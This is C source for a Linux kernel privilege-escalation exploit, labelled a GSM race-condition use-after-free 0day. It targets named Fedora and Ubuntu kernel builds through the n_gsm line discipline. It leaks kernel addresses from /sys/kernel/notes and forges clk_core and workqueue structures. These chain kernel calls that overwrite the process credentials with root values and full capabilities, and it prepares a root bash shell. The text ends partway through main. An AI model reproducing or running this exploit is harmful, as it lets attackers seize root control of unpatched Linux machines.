// GSM Linux Kernel Race Condition -> UAF 0day Exploit written by jmpe4x #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define offsetofs(st, m) \ ((size_t)((char *)&((st *)0)->m - (char *)0)) #define UNUSED(x) (void)(x) #define ALIGN_UP(p, size) (__typeof__(p))(((uintptr_t)(p) + ((size) - 1)) & ~((size) - 1)) #define PAGE_UP(addr) (((addr)+((PAGE_SIZE)-1))&(~((PAGE_SIZE)-1))) #define SPIN_WAIT_CONDITION(value, condition) while (condition != value) #define MIN(X, Y) (((X) < (Y)) ? (X) : (Y)) struct gsm_dlci_config { __u32 channel; /* DLCI (0 for the associated DLCI) */ __u32 adaption; /* Convergence layer type */ __u32 mtu; /* Maximum transfer unit */ __u32 priority; /* Priority (0 for default value) */ __u32 i; /* Frame type (1 = UIH, 2 = UI) */ __u32 k; /* Window size (0 for default value) */ __u32 reserved[8]; /* For future use, must be initialized to zero */ }; #define GSMIOC_GETCONF_DLCI _IOWR('G', 7, struct gsm_dlci_config) #define GSMIOC_SETCONF_DLCI _IOW('G', 8, struct gsm_dlci_config) const unsigned char CMD_CLD = 0x61; const unsigned char CMD_TEST = 0x11; const unsigned char DISC = 0x43; const unsigned char GSM1_SOF = 0x7E; const unsigned char SABM = 0x2F; const unsigned char UIH = 0xEF; const unsigned char CMD_MSC = 0x71; const unsigned char EA = 0x01; const unsigned char CR = 0x02; const unsigned char PF = 0x10; const unsigned char INIT_FCS = 0xFF; const int PAGE_SIZE = 4096; const int PAGE_SHIFT = 12; const int STACK_SIZE_SANDBOX = 1000000; const int STACK_SIZE_EXPLOTATION = 1000000; const int SOL_IP = 0; const int KERNEL_PATH_READ_OFFSET = 11; const int SECTOR_SIZE = 512; const int BOOT_ENTRY_OFFSET = SECTOR_SIZE; const int BOOT_SECTOR_COUNT = 1; const int BOOT_FLAG = 0xAA55; const int UNCOMPRESSED_KERNEL_SIZE_OFFSET = 4; const int SETUP_HEADER_OFFSET = BOOT_ENTRY_OFFSET - 15; const int ASCII_OFFSET = 48; const int WQ_FLAG_BOOKMARK = 0x04; const int CLK_OPS_OFFSET = sizeof(uint64_t) * 10; const int NUM_DLCI = 64; #define BIT(name) (1ULL << name) const int CLK_GET_RATE_NOCACHE = BIT(6); #define HEAP_SPRAY_SIZE 1024 const unsigned int XEN_ELFNOTE_ENTRY = 1; #define BITS_PER_LONG 64 enum { WORK_STRUCT_PENDING_BIT = 0, /* work item is pending execution */ WORK_STRUCT_INACTIVE_BIT= 1, /* work item is inactive */ WORK_STRUCT_PWQ_BIT = 2, /* data points to pwq */ WORK_STRUCT_LINKED_BIT = 3, /* next work is linked to this one */ #ifdef CONFIG_DEBUG_OBJECTS_WORK WORK_STRUCT_STATIC_BIT = 4, /* static initializer (debugobjects) */ WORK_STRUCT_COLOR_SHIFT = 5, /* color for workqueue flushing */ #else WORK_STRUCT_COLOR_SHIFT = 4, /* color for workqueue flushing */ #endif WORK_STRUCT_COLOR_BITS = 4, WORK_STRUCT_PENDING = 1 << WORK_STRUCT_PENDING_BIT, WORK_STRUCT_INACTIVE = 1 << WORK_STRUCT_INACTIVE_BIT, WORK_STRUCT_PWQ = 1 << WORK_STRUCT_PWQ_BIT, WORK_STRUCT_LINKED = 1 << WORK_STRUCT_LINKED_BIT, #ifdef CONFIG_DEBUG_OBJECTS_WORK WORK_STRUCT_STATIC = 1 << WORK_STRUCT_STATIC_BIT, #else WORK_STRUCT_STATIC = 0, #endif WORK_NR_COLORS = (1 << WORK_STRUCT_COLOR_BITS), /* not bound to any CPU, prefer the local CPU */ WORK_CPU_UNBOUND = 8192, /* * Reserve 8 bits off of pwq pointer w/ debugobjects turned off. * This makes pwqs aligned to 256 bytes and allows 16 workqueue * flush colors. */ WORK_STRUCT_FLAG_BITS = WORK_STRUCT_COLOR_SHIFT + WORK_STRUCT_COLOR_BITS, /* data contains off-queue information when !WORK_STRUCT_PWQ */ WORK_OFFQ_FLAG_BASE = WORK_STRUCT_COLOR_SHIFT, __WORK_OFFQ_CANCELING = WORK_OFFQ_FLAG_BASE, /* * When a work item is off queue, its high bits point to the last * pool it was on. Cap at 31 bits and use the highest number to * indicate that no pool is associated. */ WORK_OFFQ_FLAG_BITS = 1, WORK_OFFQ_POOL_SHIFT = WORK_OFFQ_FLAG_BASE + WORK_OFFQ_FLAG_BITS, WORK_OFFQ_LEFT = BITS_PER_LONG - WORK_OFFQ_POOL_SHIFT, WORK_OFFQ_POOL_BITS = WORK_OFFQ_LEFT <= 31 ? WORK_OFFQ_LEFT : 31, /* bit mask for work_busy() return values */ WORK_BUSY_PENDING = 1 << 0, WORK_BUSY_RUNNING = 1 << 1, /* maximum string length for set_worker_desc() */ WORKER_DESC_LEN = 24, }; #define WORK_OFFQ_POOL_NONE ((1ul << WORK_OFFQ_POOL_BITS) - 1) #define WORK_STRUCT_NO_POOL (WORK_OFFQ_POOL_NONE << WORK_OFFQ_POOL_SHIFT) #define WORK_DATA_INIT() WORK_STRUCT_NO_POOL typedef struct { uint64_t val; } kernel_cap_t; #define ULL(x) (_ULL(x)) #define BIT_ULL(nr) (ULL(1) << (nr)) #define CAP_VALID_MASK (BIT_ULL(CAP_LAST_CAP+1)-1) kernel_cap_t CAP_FULL_SET = { CAP_VALID_MASK }; const int MAX_ALLOC_KERNEL_HEAP = 500; const int CR_BIT = CR; enum gsm_dlci_state { DLCI_CLOSED, DLCI_WAITING_CONFIG, /* Waiting for DLCI configuration from user */ DLCI_CONFIGURE, /* Sending PN (for adaption > 1) */ DLCI_OPENING, /* Sending SABM not seen UA */ DLCI_OPEN, /* SABM/UA complete */ DLCI_CLOSING, /* Sending DISC not seen UA/DM */ }; const char* KALLSYMS_PATH = "/proc/kallsyms"; const char* KPTR_RESTRICT_PATH = "/proc/sys/kernel/kptr_restrict"; const char* PERF_EVENT_PARANOID_PATH = "/proc/sys/kernel/perf_event_paranoid"; const char* CMDLINE_PATH = "/proc/cmdline"; const char* KERNEL_NOTES_PATH = "/sys/kernel/notes"; const char* PTY_MAX_PATH = "/proc/sys/kernel/pty/max"; const int ldisc = N_GSM0710; static unsigned char gsm_fcs8[256] = { 0x00, 0x91, 0xE3, 0x72, 0x07, 0x96, 0xE4, 0x75, 0x0E, 0x9F, 0xED, 0x7C, 0x09, 0x98, 0xEA, 0x7B, 0x1C, 0x8D, 0xFF, 0x6E, 0x1B, 0x8A, 0xF8, 0x69, 0x12, 0x83, 0xF1, 0x60, 0x15, 0x84, 0xF6, 0x67, 0x38, 0xA9, 0xDB, 0x4A, 0x3F, 0xAE, 0xDC, 0x4D, 0x36, 0xA7, 0xD5, 0x44, 0x31, 0xA0, 0xD2, 0x43, 0x24, 0xB5, 0xC7, 0x56, 0x23, 0xB2, 0xC0, 0x51, 0x2A, 0xBB, 0xC9, 0x58, 0x2D, 0xBC, 0xCE, 0x5F, 0x70, 0xE1, 0x93, 0x02, 0x77, 0xE6, 0x94, 0x05, 0x7E, 0xEF, 0x9D, 0x0C, 0x79, 0xE8, 0x9A, 0x0B, 0x6C, 0xFD, 0x8F, 0x1E, 0x6B, 0xFA, 0x88, 0x19, 0x62, 0xF3, 0x81, 0x10, 0x65, 0xF4, 0x86, 0x17, 0x48, 0xD9, 0xAB, 0x3A, 0x4F, 0xDE, 0xAC, 0x3D, 0x46, 0xD7, 0xA5, 0x34, 0x41, 0xD0, 0xA2, 0x33, 0x54, 0xC5, 0xB7, 0x26, 0x53, 0xC2, 0xB0, 0x21, 0x5A, 0xCB, 0xB9, 0x28, 0x5D, 0xCC, 0xBE, 0x2F, 0xE0, 0x71, 0x03, 0x92, 0xE7, 0x76, 0x04, 0x95, 0xEE, 0x7F, 0x0D, 0x9C, 0xE9, 0x78, 0x0A, 0x9B, 0xFC, 0x6D, 0x1F, 0x8E, 0xFB, 0x6A, 0x18, 0x89, 0xF2, 0x63, 0x11, 0x80, 0xF5, 0x64, 0x16, 0x87, 0xD8, 0x49, 0x3B, 0xAA, 0xDF, 0x4E, 0x3C, 0xAD, 0xD6, 0x47, 0x35, 0xA4, 0xD1, 0x40, 0x32, 0xA3, 0xC4, 0x55, 0x27, 0xB6, 0xC3, 0x52, 0x20, 0xB1, 0xCA, 0x5B, 0x29, 0xB8, 0xCD, 0x5C, 0x2E, 0xBF, 0x90, 0x01, 0x73, 0xE2, 0x97, 0x06, 0x74, 0xE5, 0x9E, 0x0F, 0x7D, 0xEC, 0x99, 0x08, 0x7A, 0xEB, 0x8C, 0x1D, 0x6F, 0xFE, 0x8B, 0x1A, 0x68, 0xF9, 0x82, 0x13, 0x61, 0xF0, 0x85, 0x14, 0x66, 0xF7, 0xA8, 0x39, 0x4B, 0xDA, 0xAF, 0x3E, 0x4C, 0xDD, 0xA6, 0x37, 0x45, 0xD4, 0xA1, 0x30, 0x42, 0xD3, 0xB4, 0x25, 0x57, 0xC6, 0xB3, 0x22, 0x50, 0xC1, 0xBA, 0x2B, 0x59, 0xC8, 0xBD, 0x2C, 0x5E, 0xCF }; enum sandbox_error { SANDBOX_SUCCES, SANDBOX_ERROR_SOCKET, SANDBOX_ERROR_SETSOCKOPT }; typedef struct sandbox_result { enum sandbox_error error; int error_number; } sandbox_result; typedef struct targs_sender_kern_buff { int size; uint8_t* payload; sandbox_result result; } targs_sender_kern_buff; typedef struct targs_conf_gsm { int fd_input; int retval; int error; struct gsm_config config; } targs_conf_gsm; typedef struct targs_conf_dlci { int fd_input; int retval; int error; struct gsm_dlci_config config; } targs_conf_dlci; typedef struct targs_alloc_kheap { int spray_fd1[500]; int spray_fd2[500]; int count; uint8_t* data; } targs_alloc_kheap; struct list_head { uint64_t next, prev; }; struct hlist_node { uint64_t next, pprev; }; typedef struct { uid_t val; } kuid_t; typedef struct { gid_t val; } kgid_t; struct cred_compact { int usage; kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ }; struct work_clk_core { uint64_t data; struct list_head entry; uint64_t func; uint64_t dev; uint64_t of_node_recalc_rate; uint64_t parent; uint64_t parents; uint8_t num_parents; uint8_t new_parent_index; uint64_t rate; uint64_t recalc_rate; uint64_t new_rate; uint64_t new_parent; uint64_t new_child; uint64_t flags; uint64_t set_rate; uint32_t enable_count; uint32_t prepare_count; uint32_t protect_count; uint64_t min_rate; uint64_t max_rate; uint64_t accuracy; int32_t phase; uint64_t duty; uint64_t children; struct hlist_node child_node; uint64_t clks; uint32_t notifier_count; }; struct clk_core { uint64_t name; uint64_t ops; uint64_t hw; uint64_t owner; uint64_t dev; uint64_t of_node_recalc_rate; uint64_t parent; uint64_t parents; uint8_t num_parents; uint8_t new_parent_index; uint64_t rate; uint64_t req_rate_set_rate; uint64_t new_rate; uint64_t new_parent; uint64_t new_child; uint64_t flags; bool orphan; bool rpm_enabled; uint32_t enable_count; uint32_t prepare_count; uint32_t protect_count; uint64_t min_rate; uint64_t max_rate; uint64_t accuracy; int32_t phase; uint64_t duty; uint64_t children; struct hlist_node child_node; uint64_t clks; uint32_t notifier_count; }; struct kernfs_scheme { uint8_t gsm_data[1024]; uint8_t dlci_data[1024]; struct clk_core set_arg_cred; struct clk_core get_cred; struct clk_core set_arg_memcpy; struct clk_core memcpy_cred; struct cred_compact root_cred; } kernfs_payload; struct kernel_table { char* os_name; char* kernel; bool debug_spinlock; bool debug_lock_alloc; bool debug_lock_stat; bool debug_mutex_spin_owner; bool debug_mutexes; uint64_t startup_xen; uint64_t kernfs_pr_cont_buf; uint64_t clk_change_rate; uint64_t find_task_by_vpid; uint64_t get_task_cred; uint64_t memcpy; }; const int QUANTITY_KERNELS = 3; struct kernel_table kernels_offsets[] = { //{"ubuntu", "6.5.0-25-generic", false, false, false, true, false, 0x26933c0, 0x3910d00, 0xa22630, 0x1274c0, 0x133eb0, 0x1120a20}, {"fedora", "6.5.6-300.fc39.x86_64", false, false, false, true, false, 0x2ad7eb0, 0x3cfcc60, 0x9b4a30, 0x13c3d0, 0x148780, 0xfbbe20}, {"ubuntu", "6.5.0-26-generic", false, false, false, true, false, 0x26933c0, 0x3910d00, 0xa22630, 0x1274c0, 0x133eb0, 0x1120a20}}; static inline const char* get_name_elf_note(Elf64_Nhdr* note); static inline Elf64_Nhdr* get_next_elf_note(Elf64_Nhdr* note); static inline const void* get_descript_elf_note(Elf64_Nhdr* note); int get_part_of_static_payload(uint8_t* dst, uint8_t* src, int index); const char* sandbox_str_error(enum sandbox_error error_number); int thread_sender_kern_buff(void *arg); void* thread_setconf_dlci(void* data); void* thread_getconf_dlci(void* data); void* thread_setconf(void* data); void* thread_spray_kheap(void* data); static void get_raw_msg(uint8_t* buffer, uint8_t addr, uint8_t control); static void skip_msg(int fd); int main(int argc, char *argv[]) { setvbuf(stdout, NULL, _IONBF, 0); int exit_code_main = EXIT_FAILURE; int proccess_ret = 0; int kernel_notes_fd = 0; int fd_input = 0; int fd_output = 0; int lockdep_map_size = 32; //key + class_cache[2] + name int spinlock_t_size = 4; //atomic_val int mutex_size = 24; //owner + waitlist int work_struct_size = 32; int wait_queue_head_size = 16; int timer_size = 40; int kfifo_size = 24; int tty_port_size = 0; int tty_bufhead_size = 0; int tty_buffer_size = 32; int gsm_mux_dlci_offset = 0; int gsm_worker_offset = 0; int gsm_tx_offset = 0; int gsm_dlci_mux_offset = 0; int gsm_dlci_dead_offset = 0; int gsm_dlci_addr_offset = 0; int gsm_dlci_state_offset = 0; int pty_max_fd = 0; int spray_permisiible = 0; const int clone_flags_sandbox = CLONE_NEWUSER | CLONE_NEWNET | CLONE_VM; long retval = 0; long pty_max = 0; char str_long[21]; char* newargv[] = {"bash", "-c", "cd /root ; bash", NULL}; char* newenviron[] = { NULL }; uint64_t leak_startup_xen = 0; uint64_t leak_kernel_text = 0; uint64_t kernfs_pr_cont_buf_addr = 0; uint64_t clk_change_rate_addr = 0; uint64_t find_task_by_vpid_addr = 0; uint64_t get_task_cred_addr = 0; uint64_t memcpy_addr = 0; uint64_t offset_hw = 0; uint64_t offset_rate = 0; uint64_t offset_recalc_rate = 0; uint64_t offset_ops = 0; uint64_t gsm_addr = 0; uint64_t dlci_data_addr = 0; uint64_t gsm_worker_addr = 0; uint64_t tx_ctrl_addr = 0; uint64_t set_arg_cred_addr = 0; uint64_t get_cred_addr = 0; uint64_t set_arg_memcpy_addr = 0; uint64_t memcpy_cred_addr = 0; uint64_t root_cred_addr = 0; uint64_t* dlci_dead = NULL; uint64_t* gsm_arr_dlci = NULL; uint64_t* dlci_heap_gsm_mux = NULL; uint32_t* dlci_heap_state = NULL; uint32_t* dlci_addr = NULL; uint8_t control_msg[6]; uint8_t heap_data[HEAP_SPRAY_SIZE]; uint8_t* kernel_file_notes = NULL; uint8_t* sandbox_stack = NULL; uint8_t* explotation_stack = NULL; Elf64_Nhdr* xen_startup_note = NULL; Elf64_Nhdr* end_note = NULL; struct kernel_table* selected_kernel = NULL; struct kernel_table* iter_kernel = NULL; struct stat kernel_file_notes_stat; struct utsname kernel_info; cpu_set_t core_alloc_dlci; pid_t pid_sandbox; pthread_t tid_getconf_dlci; pthread_t tid_setconf_dlci; pthread_t tid_spray; pthread_attr_t tattr_alloc_dlci; struct work_clk_core* gsm_clk_worker = NULL; struct clk_core* clk_get_task = NULL; struct list_head* tx_ctrl_list; targs_conf_dlci arg_getconf_dlci; targs_conf_dlci arg_setconf_dlci; targs_alloc_kheap arg_spray; targs_sender_kern_buff args_sandbox_kern_buff; struct gsm_config setconf_config; setconf_config.encapsulation = 1; setconf_config.adaption = 1; setconf_config.mru = 64; setconf_config.mtu = 64; setconf_config.t1 = 1000; setconf_config.t2 = 1000; setconf_config.t3 = 1; setconf_config.i = 1; setconf_config.n2 = 0; setconf_config.k = 0; setconf_config.initiator = 1; CPU_ZERO(&core_alloc_dlci); CPU_SET(0, &core_alloc_dlci); if (argc < 1 || argv[1] == 0) { fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora"); goto error_arg; } retval = uname(&kernel_info); if (retval != 0) { fprintf(stderr, "Error uname, errno %s \n", strerror(errno)); goto error_uname; } for (int i = 0; i < QUANTITY_KERNELS; ++i) { iter_kernel = &kernels_offsets[i]; if (strcmp(iter_kernel->os_name, argv[1]) || strcmp(iter_kernel->kernel, kernel_info.release)) continue; selected_kernel = iter_kernel; break; } if (selected_kernel == NULL) { fprintf(stderr, "Error find kernel \n"); goto error_find_kernel; } pty_max_fd = open(PTY_MAX_PATH, O_RDONLY); if (pty_max_fd < 0) { fprintf(stderr, "Error open %s, %s \n", PTY_MAX_PATH, strerror(errno)); goto error_pty_max; } retval = read(pty_max_fd, str_long, sizeof(str_long)); if (retval < 1) { fprintf(stderr, "Error read %s, %s \n", PTY_MAX_PATH, strerror(errno)); goto error_read_pty_max; } pty_max = strtol(str_long, NULL, 0); if (pty_max < 2) { fprintf(stderr, "Error pty max small value -> %ld \n", pty_max); goto error_pty_max_value; } spray_permisiible = MIN(pty_max, MAX_ALLOC_KERNEL_HEAP); printf("permissible spray -> %d \n", spray_permisiible); printf("begin try leak startup_xen! \n"); kernel_notes_fd = open(KERNEL_NOTES_PATH, O_RDONLY); if (kernel_notes_fd < 0) { fprintf(stderr, "Error open kernel notes file %s, %s \n", KERNEL_NOTES_PATH, strerror(errno)); goto error_open_kernel_notes; } retval = fstat(kernel_notes_fd, &kernel_file_notes_stat); if (retval < 0) { fprintf(stderr, "Error get stat kernel notes file %s, %s \n", KERNEL_NOTES_PATH, strerror(errno)); goto error_get_kernel_notes_file_stat; } kernel_file_notes = (uint8_t*) malloc(kernel_file_notes_stat.st_size); if (kernel_file_notes == NULL) { fprintf(stderr, "Error allocate memory for kernel notes runtime, %s \n", strerror(errno)); goto error_alloc_kernel_notes; } retval = read(kernel_notes_fd, kernel_file_notes, kernel_file_notes_stat.st_size); if (retval < 1) { fprintf(stderr, "Error read %s, %s \n", KERNEL_NOTES_PATH, strerror(errno)); goto error_read_kernel_notes; } xen_startup_note = (Elf64_Nhdr*) kernel_file_notes; end_note = (Elf64_Nhdr*) (kernel_file_notes + kernel_file_notes_stat.st_size); while (xen_startup_note <= end_note) { const char* note_name = get_name_elf_note(xen_startup_note); Elf64_Word type = xen_startup_note->n_type; if (!strcmp(note_name, "Xen") && type == XEN_ELFNOTE_ENTRY) break; xen_startup_note = get_next_elf_note(xen_startup_note); } if (xen_startup_note > end_note) { fprintf(stderr, "Error not found xen entry note \n"); goto error_find_xen_note; } leak_startup_xen = *(uint64_t*) get_descript_elf_note(xen_startup_note); leak_kernel_text = leak_startup_xen - selected_kernel->startup_xen; printf("startup_xen leaked address -> %lx \n", leak_startup_xen); printf("text leaked address -> %lx \n", leak_kernel_text); kernfs_pr_cont_buf_addr = leak_kernel_text + selected_kernel->kernfs_pr_cont_buf; clk_change_rate_addr = leak_kernel_text + selected_kernel->clk_change_rate; find_task_by_vpid_addr = leak_kernel_text + selected_kernel->find_task_by_vpid; get_task_cred_addr = leak_kernel_text + selected_kernel->get_task_cred; memcpy_addr = leak_kernel_text + selected_kernel->memcpy; lockdep_map_size += selected_kernel->debug_lock_stat ? 16 : 0; // + cpu + ip spinlock_t_size += selected_kernel->debug_spinlock ? 16 : 0; // + magic + owner_cpu + owner spinlock_t_size += selected_kernel->debug_lock_alloc ? lockdep_map_size : 0; // + dep_map mutex_size += spinlock_t_size; // + waitlock mutex_size += selected_kernel->debug_mutex_spin_owner ? 4 : 0; // + osq mutex_size += selected_kernel->debug_mutexes ? 8 : 0; // + magic mutex_size += selected_kernel->debug_lock_alloc ? lockdep_map_size : 0; // + dep_map work_struct_size += selected_kernel->debug_lock_alloc ? lockdep_map_size : 0; timer_size += selected_kernel->debug_lock_alloc ? lockdep_map_size : 0; wait_queue_head_size += spinlock_t_size + 4; tty_bufhead_size += 8; //head tty_bufhead_size += work_struct_size; //work tty_bufhead_size += mutex_size; //lock tty_bufhead_size += 8; //priority tty_bufhead_size += tty_buffer_size; //sentinel tty_bufhead_size += 8; //free tty_bufhead_size += 4; //mem_used tty_bufhead_size += 4; //mem_limit tty_bufhead_size += 8; //tail tty_port_size += tty_bufhead_size; //buf tty_port_size += 8; //tty tty_port_size += 8; //itty tty_port_size += 8; //ops tty_port_size += 8; //client_ops tty_port_size += spinlock_t_size; //lock tty_port_size += 4; //blocked_open tty_port_size += 4; //count tty_port_size += wait_queue_head_size; //open_wait tty_port_size += wait_queue_head_size; //delta_msr_wait tty_port_size += 8; //flags tty_port_size += 8; //console with align tty_port_size += mutex_size; //mutex tty_port_size += mutex_size; //buf_mutex tty_port_size += 8; //xmit_buf tty_port_size += 32; //xmit_kfifo tty_port_size += 4; //close_delay tty_port_size += 4; //closing_wait tty_port_size += 4; //drain_delay tty_port_size += 4; //align tty_port_size += 4; //kref tty_port_size += 8; //client_data gsm_worker_offset += 8; //tty gsm_worker_offset += spinlock_t_size; //lock gsm_worker_offset += mutex_size; //mutex gsm_worker_offset += 4; //num gsm_worker_offset += 4; //ref gsm_worker_offset += spinlock_t_size; //wait_event_head_lock gsm_worker_offset += 8; gsm_worker_offset += 8; //list_head wait entry gsm_mux_dlci_offset = gsm_worker_offset; gsm_worker_offset += 8; gsm_mux_dlci_offset += work_struct_size; //tx_work gsm_mux_dlci_offset += 8; //buf gsm_mux_dlci_offset += 4; //state gsm_mux_dlci_offset += 4; //len gsm_mux_dlci_offset += 4; //address gsm_mux_dlci_offset += 4; //count gsm_mux_dlci_offset += 8; //bool escape with align gsm_mux_dlci_offset += 8; //encoding with align gsm_mux_dlci_offset += 1; //control gsm_mux_dlci_offset += 1; //fcs gsm_mux_dlci_offset += 8 - 2; // align control + fcs gsm_mux_dlci_offset += 8; //txframe gsm_mux_dlci_offset += 8; //receive gsm_mux_dlci_offset += 4; //mru gsm_mux_dlci_offset += 4; //mtu gsm_mux_dlci_offset += 4; //initiator with align gsm_mux_dlci_offset += 1; //dead gsm_mux_dlci_offset += 8 - 5; // align gsm_tx_offset = gsm_mux_dlci_offset; gsm_tx_offset += NUM_DLCI * 8; //dlci array gsm_tx_offset += 4; //old_c_iflag gsm_tx_offset += 1; //constipated gsm_tx_offset += 1; //has_devices gsm_tx_offset += 8 - 6; //align gsm_tx_offset += spinlock_t_size; //tx_lock gsm_tx_offset += 4; //tx bytes with align gsm_dlci_addr_offset = gsm_dlci_mux_offset; gsm_dlci_addr_offset += 8; //mux gsm_dlci_state_offset = gsm_dlci_addr_offset; gsm_dlci_state_offset += 8; //addr gsm_dlci_dead_offset = gsm_dlci_state_offset; gsm_dlci_dead_offset += mutex_size; //mutex gsm_dlci_dead_offset += 4; //state with align gsm_dlci_dead_offset += spinlock_t_size; gsm_dlci_dead_offset += timer_size; gsm_dlci_dead_offset += 8; //retries gsm_dlci_dead_offset += tty_port_size; //tty_port gsm_dlci_dead_offset += kfifo_size;//kfifo gsm_dlci_dead_offset += 4; //adaption gsm_dlci_dead_offset += 4; //prev_adaption gsm_dlci_dead_offset += 4; //modem_rx gsm_dlci_dead_offset += 4; //modem_tx gsm_dlci_dead_offset += 4; //mtu printf("lockdep_map_size -> %d \n", lockdep_map_size); printf("spinlock_t_size -> %d \n", spinlock_t_size); printf("mutex_size -> %d \n", mutex_size); printf("tty port -> %d \n", tty_port_size); printf("tty buffhead -> %d \n", tty_bufhead_size); printf("dead -> %d \n", gsm_dlci_dead_offset); gsm_addr = kernfs_pr_cont_buf_addr; dlci_data_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, dlci_data); tx_ctrl_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, gsm_data[gsm_tx_offset]); gsm_worker_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, gsm_data[gsm_worker_offset]); set_arg_cred_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, set_arg_cred); get_cred_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, get_cred); set_arg_memcpy_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, set_arg_memcpy); memcpy_cred_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, memcpy_cred); root_cred_addr = kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, root_cred); gsm_arr_dlci = (uint64_t*) &kernfs_payload.gsm_data[gsm_mux_dlci_offset]; dlci_dead = (uint64_t*) &kernfs_payload.gsm_data[gsm_dlci_dead_offset]; tx_ctrl_list = (struct list_head*) &kernfs_payload.gsm_data[gsm_tx_offset]; gsm_clk_worker = (struct work_clk_core*) &kernfs_payload.gsm_data[gsm_worker_offset]; clk_get_task = (struct clk_core*) &kernfs_payload.dlci_data[0]; dlci_heap_gsm_mux = (uint64_t*) &heap_data[gsm_dlci_mux_offset]; dlci_addr = (uint32_t*) &heap_data[gsm_dlci_addr_offset]; dlci_heap_state = (uint32_t*) &heap_data[gsm_dlci_state_offset]; gsm_arr_dlci[0] = dlci_data_addr; *dlci_dead = 0; tx_ctrl_list->prev = tx_ctrl_addr; tx_ctrl_list->next = tx_ctrl_addr; *dlci_addr = 0; *dlci_heap_gsm_mux = gsm_addr; *dlci_heap_state = DLCI_CLOSED; offset_hw = offsetofs(struct clk_core, hw); offset_rate = offsetofs(struct clk_core, rate); offset_recalc_rate = offsetofs(struct clk_core, of_node_recalc_rate); offset_ops = offset_recalc_rate - CLK_OPS_OFFSET; gsm_clk_worker->func = clk_change_rate_addr; gsm_clk_worker->data = WORK_DATA_INIT(); gsm_clk_worker->entry.next = gsm_worker_addr + 8; gsm_clk_worker->entry.prev = gsm_worker_addr + 8; clk_get_task->new_parent = 0; clk_get_task->parent = 0; clk_get_task->rpm_enabled = false; clk_get_task->flags = 0; clk_get_task->req_rate_set_rate = 0; clk_get_task->notifier_count = 0; clk_get_task->children = 0; clk_get_task->hw = getpid(); clk_get_task->ops = dlci_data_addr + offset_ops; clk_get_task->of_node_recalc_rate = find_task_by_vpid_addr; clk_get_task->new_child = set_arg_cred_addr; kernfs_payload.set_arg_cred.new_parent = 0; kernfs_payload.set_arg_cred.rpm_enabled = false; kernfs_payload.set_arg_cred.flags = 0; kernfs_payload.set_arg_cred.of_node_recalc_rate = 0; kernfs_payload.set_arg_cred.notifier_count = 0; kernfs_payload.set_arg_cred.children = 0; kernfs_payload.set_arg_cred.rate = 8; kernfs_payload.set_arg_cred.parent = set_arg_cred_addr; kernfs_payload.set_arg_cred.hw = get_cred_addr + offset_hw; kernfs_payload.set_arg_cred.new_rate = dlci_data_addr + offset_rate; kernfs_payload.set_arg_cred.ops = set_arg_cred_addr + offset_ops; kernfs_payload.set_arg_cred.req_rate_set_rate = memcpy_addr; kernfs_payload.set_arg_cred.new_child = get_cred_addr; kernfs_payload.get_cred.new_parent = 0; kernfs_payload.get_cred.parent = 0; kernfs_payload.get_cred.rpm_enabled = false; kernfs_payload.get_cred.flags = 0; kernfs_payload.get_cred.req_rate_set_rate = 0; kernfs_payload.get_cred.notifier_count = 0; kernfs_payload.get_cred.children = 0; kernfs_payload.get_cred.ops = get_cred_addr + offset_ops; kernfs_payload.get_cred.of_node_recalc_rate = get_task_cred_addr; kernfs_payload.get_cred.new_child = set_arg_memcpy_addr; kernfs_payload.set_arg_memcpy.new_parent = 0; kernfs_payload.set_arg_memcpy.rpm_enabled = false; kernfs_payload.set_arg_memcpy.flags = 0; kernfs_payload.set_arg_memcpy.of_node_recalc_rate = 0; kernfs_payload.set_arg_memcpy.notifier_count = 0; kernfs_payload.set_arg_memcpy.children = 0; kernfs_payload.set_arg_memcpy.rate = 8; kernfs_payload.set_arg_memcpy.parent = set_arg_memcpy_addr; kernfs_payload.set_arg_memcpy.hw = memcpy_cred_addr + offset_hw; kernfs_payload.set_arg_memcpy.new_rate = get_cred_addr + offset_rate; kernfs_payload.set_arg_memcpy.ops = set_arg_cred_addr + offset_ops; kernfs_payload.set_arg_memcpy.req_rate_set_rate = memcpy_addr; kernfs_payload.set_arg_memcpy.new_child = memcpy_cred_addr; kernfs_payload.memcpy_cred.new_parent = 0; kernfs_payload.memcpy_cred.rpm_enabled = false; kernfs_payload.memcpy_cred.flags = 0; kernfs_payload.memcpy_cred.of_node_recalc_rate = 0; kernfs_payload.memcpy_cred.notifier_count = 0; kernfs_payload.memcpy_cred.children = 0; kernfs_payload.memcpy_cred.rate = sizeof(struct cred_compact); kernfs_payload.memcpy_cred.parent = memcpy_cred_addr; kernfs_payload.memcpy_cred.new_rate = root_cred_addr; kernfs_payload.memcpy_cred.ops = set_arg_cred_addr + offset_ops; kernfs_payload.memcpy_cred.req_rate_set_rate = memcpy_addr; kernfs_payload.memcpy_cred.new_child = 0; kernfs_payload.root_cred.usage = 10000000; kernfs_payload.root_cred.uid.val = 0; kernfs_payload.root_cred.gid.val = 0; kernfs_payload.root_cred.suid.val = 0; kernfs_payload.root_cred.sgid.val = 0; kernfs_payload.root_cred.euid.val = 0; kernfs_payload.root_cred.egid.val = 0; kernfs_payload.root_cred.fsuid.val = 0; kernfs_payload.root_cred.fsgid.val = 0; kernfs_payload.root_cred.cap_effective = CAP_FULL_SET; kernfs_payload.root_cred.cap_inheritable = CAP_FULL_SET; 